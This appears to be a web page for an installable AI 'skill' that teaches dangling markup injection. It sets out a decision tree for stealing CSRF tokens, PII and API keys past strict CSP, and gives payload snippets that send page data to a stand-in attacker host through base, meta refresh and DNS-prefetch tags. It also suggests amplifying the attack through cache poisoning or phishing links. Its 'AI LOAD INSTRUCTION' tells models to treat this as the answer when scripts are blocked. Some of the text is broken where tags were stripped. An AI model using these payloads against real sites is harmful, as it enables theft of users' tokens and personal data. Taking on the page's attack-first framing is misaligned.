安装
npx skills add https://github.com/yaklang/hack-skills --skill dangling-markup-injection
复制
SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
AI LOAD INSTRUCTION
Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
0. RELATED ROUTING
xss-cross-site-scripting
when full XSS is possible (no need for dangling markup)
csp-bypass-advanced
when CSP blocks JS execution — dangling markup bypasses script restrictions
csrf-cross-site-request-forgery
when dangling markup steals CSRF tokens for subsequent CSRF attacks
crlf-injection
when CRLF enables HTML injection in HTTP response
web-cache-deception
when dangling markup + cache poisoning amplifies the attack
1. WHEN TO USE DANGLING MARKUP
You need dangling markup when ALL of these are true:
You have an HTML injection point (reflected or stored)
JavaScript execution is blocked:
CSP blocks inline scripts and event handlers
Sanitizer strips
<img src="...
│
├── What sensitive data exists AFTER injection point?
│ ├── CSRF tokens → HIGH VALUE: steal token → CSRF attack
│ ├── User PII (email, name) → data theft
│ ├── API keys / secrets → account compromise
│ ├── No sensitive data after injection → dangling markup not useful here
│ └── Check different pages — injection may be on a page with sensitive data
│
├── Choose exfiltration vector based on CSP
│ ├── No CSP / lax CSP → <img src="... (simplest)
│ ├── img-src restricted?
│ │ ├── form-action unrestricted? →
│ │ ├── base-uri unrestricted? → <base href="attacker">
│ │ └── style-src unrestricted? → <link rel=stylesheet href="...
│ ├── Strict CSP on all directives?
│ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
│ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
│ │ └── Window.name via iframe? → <iframe name="...
│ └── Nothing works? → dangling markup blocked, try other approaches
│
├── Handle Chrome's dangling markup mitigation
│ ├── Target uses Chrome? → Avoid <img src= with < or newlines
│ ├── Use instead (not blocked)
│ ├── Use <base href=> (not blocked)
│ └── Test in Firefox as fallback (more permissive)
│
├── Choose quote type for maximum capture
│ ├── Target data uses double quotes? → Inject with single quote: <img src='...
│ ├── Target data uses single quotes? → Inject with double quote: <img src="...
│ └── Mixed quotes? → Test both, see which captures more useful data
│
└── Amplification
├── Response cached? → Poison cache → steal from multiple victims
├── Stored injection? → Every page view exfiltrates
└── Reflected only? → Deliver via phishing link
10. TRICK NOTES — WHAT AI MODELS MISS
Dangling markup is THE answer when CSP blocks scripts but HTML injection exists.
Models trained on XSS often conclude "not exploitable" when CSP is strict — dangling markup doesn't need JavaScript.
Chrome's mitigation is tag-specific, not universal
:
<img src=
is mitigated, but
<form action=
,
<base href=
,
<meta http-equiv=refresh>
are NOT. Always try alternative vectors.
Quote type selection is critical
If the page uses
"
for attributes, inject with
'
(or vice versa) to control exactly where consumption stops. Wrong quote type = capturing useless content or nothing.
Injection point placement matters enormously
The injection must appear BEFORE the target data in the HTML source. If CSRF token is above your injection point, dangling markup cannot capture it.
is the most underrated vector
: An unclosed textarea eats ALL subsequent HTML as plaintext. Combined with form action hijack, it's the most reliable method when img-src is restricted.
Window.name persists across origins
: If you can inject an iframe, the
name
attribute technique is powerful because
window.name
survives cross-origin navigation — a rare cross-origin data channel.
DNS prefetch exfiltration works even under strict CSP
:
<link rel=dns-prefetch href="//stolen-data.attacker.com">
triggers a DNS lookup that CSP cannot block. Limited to ~253 characters per label, but sufficient for tokens.
← 返回排行榜